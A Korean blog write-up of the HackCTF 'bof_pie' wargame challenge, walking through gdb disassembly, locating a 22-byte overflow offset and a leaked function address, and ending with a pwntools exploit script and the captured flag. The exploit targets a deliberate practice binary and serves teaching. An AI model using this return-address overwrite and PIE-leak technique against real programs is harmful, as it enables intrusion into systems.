반응형
HackHiJack
HHJ
HackHiJack
전체 방문자
오늘
어제
  • 분류 전체보기 (99)
    • chatGPT (2)
    • pwn (2)
    • 워게임 (32)
    • Reversing (0)
    • Cryptography (12)
    • Web (6)
    • CTFs (16)
    • TryHackMe (6)
    • Go (5)
    • Forensics (18)

블로그 메뉴

  • 홈

공지사항

  • Welcome To HHJ's Blog

인기 글

태그

  • ㅣ
  • forensic
  • startup
  • main
  • function
  • 암호 #AES #드림핵
  • main.go
  • Import
  • pwnable.kr
  • hacking
  • linkfile
  • shellctf
  • webhacking.kr
  • 포렌식
  • func
  • package
  • go
  • rootme
  • 해킹 #TryHackMe #WriteUp #ignite
  • analyis

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HackHiJack

HHJ

HackCTF - BOF_PIE
워게임

HackCTF - BOF_PIE

2021. 7. 27. 16:29
728x90
반응형

오늘은 bof_pie문제를 풀어볼 것이다.

 

먼저 checksec로 파일을 확인해보자.

제목에 맞게 pie가 적용되어있다.

 

이번에는 어떤 함수가 있는지 살펴보자.(gdb, info func)

All defined functions:

Non-debugging symbols:
0x00000640  _init
0x00000680  printf@plt
0x00000690  fgets@plt
0x000006a0  fclose@plt
0x000006b0  perror@plt
0x000006c0  puts@plt
0x000006d0  __libc_start_main@plt
0x000006e0  setvbuf@plt
0x000006f0  fopen@plt
0x00000700  __isoc99_scanf@plt
0x00000720  _start
0x00000760  __x86.get_pc_thunk.bx
0x00000770  deregister_tm_clones
0x000007b0  register_tm_clones
0x00000800  __do_global_dtors_aux
0x00000850  frame_dummy
0x0000088c  __x86.get_pc_thunk.dx
0x00000890  j0n9hyun
0x00000909  welcome
0x00000973  main
0x000009b0  __libc_csu_init
0x00000a10  __libc_csu_fini
0x00000a14  _fini

대표적으로 main, welcome, j0n9hyun이라는 함수들이 있다.

 

일단 실행을 해보자.

위처럼 j0n9hyun 함수의 주소를 출력하는 것 같고 입력을 받는다.

 

먼저 main을 디스어셈블 해보자.

Dump of assembler code for function main:
   0x56555973 <+0>:	lea    ecx,[esp+0x4]
   0x56555977 <+4>:	and    esp,0xfffffff0
   0x5655597a <+7>:	push   DWORD PTR [ecx-0x4]
   0x5655597d <+10>:	push   ebp
   0x5655597e <+11>:	mov    ebp,esp
   0x56555980 <+13>:	push   ecx
   0x56555981 <+14>:	sub    esp,0x4
   0x56555984 <+17>:	call   0x56555909 <welcome>
   0x56555989 <+22>:	sub    esp,0xc
   0x5655598c <+25>:	push   0xa6d
   0x56555991 <+30>:	call   0x56555992 <main+31>
   0x56555996 <+35>:	add    esp,0x10
   0x56555999 <+38>:	mov    eax,0x0
   0x5655599e <+43>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x565559a1 <+46>:	leave  
   0x565559a2 <+47>:	lea    esp,[ecx-0x4]
   0x565559a5 <+50>:	ret    
End of assembler dump.

 

중간에 welcome을 부른다.

 

그러면 welcome을 디스어셈블 해보자.

Dump of assembler code for function welcome:
   0x56555909 <+0>:	push   ebp
   0x5655590a <+1>:	mov    ebp,esp
   0x5655590c <+3>:	sub    esp,0x18
   0x5655590f <+6>:	mov    eax,ds:0x0
   0x56555914 <+11>:	push   0x0
   0x56555916 <+13>:	push   0x2
   0x56555918 <+15>:	push   0x0
   0x5655591a <+17>:	push   eax
   0x5655591b <+18>:	call   0x5655591c <welcome+19>
   0x56555920 <+23>:	add    esp,0x10
   0x56555923 <+26>:	mov    eax,ds:0x0
   0x56555928 <+31>:	push   0x0
   0x5655592a <+33>:	push   0x2
   0x5655592c <+35>:	push   0x0
   0x5655592e <+37>:	push   eax
   0x5655592f <+38>:	call   0x56555930 <welcome+39>
   0x56555934 <+43>:	add    esp,0x10
   0x56555937 <+46>:	sub    esp,0xc
   0x5655593a <+49>:	push   0xa3d
   0x5655593f <+54>:	call   0x56555940 <welcome+55>
   0x56555944 <+59>:	add    esp,0x10
   0x56555947 <+62>:	sub    esp,0x8
   0x5655594a <+65>:	push   0x909
   0x5655594f <+70>:	push   0xa5a
   0x56555954 <+75>:	call   0x56555955 <welcome+76>
   0x56555959 <+80>:	add    esp,0x10
   0x5655595c <+83>:	sub    esp,0x8
   0x5655595f <+86>:	lea    eax,[ebp-0x12]
   0x56555962 <+89>:	push   eax
   0x56555963 <+90>:	push   0xa6a
   0x56555968 <+95>:	call   0x56555969 <welcome+96>
   0x5655596d <+100>:	add    esp,0x10
   0x56555970 <+103>:	nop
   0x56555971 <+104>:	leave  
   0x56555972 <+105>:	ret    
End of assembler dump.

음.. 함수이름이 안 나오니 디컴파일을 해보자.

우리가 아까 실행했던 것과 비슷하게 실행된다.

그런데 j0n9hyun의 함수가 아니라 welcome의 함수 주소를 출력하는 것이다.

 

그러면 마지막으로 j0n9hyun을 디컴파일 해보자

딱 보니 flag를 출력하는 함수 같다.

 

이제 정리를 하자면 j0n9hyun과 welcome의 offset을 구한 후, 프로그램이 실행될 때 주는 welcome 주소로 j0n9hyun의 주소를 구해서 BOF를 하면 된다.

 

그러면 이제 ret전까지의 바이트 수를 구해보자. 아래의 명령어로 구한다.

(gdb) b *0x56555909
Breakpoint 1 at 0x56555909
(gdb) b *0x56555968
Breakpoint 2 at 0x56555968
(gdb) r
Starting program: /home/psj/hackctf/pie/bof_pie 

Breakpoint 1, 0x56555909 in welcome ()
(gdb) i r esp
esp            0xffffd00c	0xffffd00c
(gdb) c
Continuing.
Hello, Do you know j0n9hyun?
j0n9hyun is 0x56555909

Breakpoint 2, 0x56555968 in welcome ()
(gdb) i r esp
esp            0xffffcfe0	0xffffcfe0
(gdb) x/3wx 0xffffcfe0
0xffffcfe0:	0x56555a6a	0xffffcff6	0x00000002
(gdb) p/d 0xffffd00c-0xffffcff6
$1 = 22

welcome의 시작 주소와 scanf를 call 하는 주소에 브레이크를 걸고 esp를 이용해서 ret전까지 22byte이다.

 

이제 welcome과 j0n9hyun의 offset을 구해보자.

(gdb) p/x welcome-j0n9hyun
$2 = 0x79

0x79이다. 그러면 j0n9hyun = welcome - 0x79가 된다.

 

그러면 이제 exploit code를 짜 보자.

from pwn import *


#p = process("./bof_pie")
p = remote("ctf.j0n9hyun.xyz",3008)

p.recvuntil("is ") #recv welocme addr
#welcome-flag = 0x79
flag_addr = int(p.recv(10),16) - 0x79

print(hex(flag_addr))

payload = b"A"*22
payload += p32(flag_addr)

p.sendline(payload)

p.interactive()

이제 python 스크립트를 실행해보자.

이런 식으로 flag가 잘 나온다.

 

flag : HackCTF{243699563792879976364976468837}

728x90
반응형

'워게임' 카테고리의 다른 글

Shellcode(쉘코드) 모음  (0) 2021.07.27
HackCTF - Simple_Overflow_ver_2  (0) 2021.07.27
HackCTF - x64 Simple_size_BOF  (0) 2021.07.27
HackCTF - x64 Buffer Overflow(writeup)  (0) 2021.07.26
HackCTF - 내 버퍼가 흘러넘친다!!!!(writeup)  (0) 2021.07.26
    '워게임' 카테고리의 다른 글
    • Shellcode(쉘코드) 모음
    • HackCTF - Simple_Overflow_ver_2
    • HackCTF - x64 Simple_size_BOF
    • HackCTF - x64 Buffer Overflow(writeup)
    HackHiJack
    HackHiJack
    $ whoami HHJ

    티스토리툴바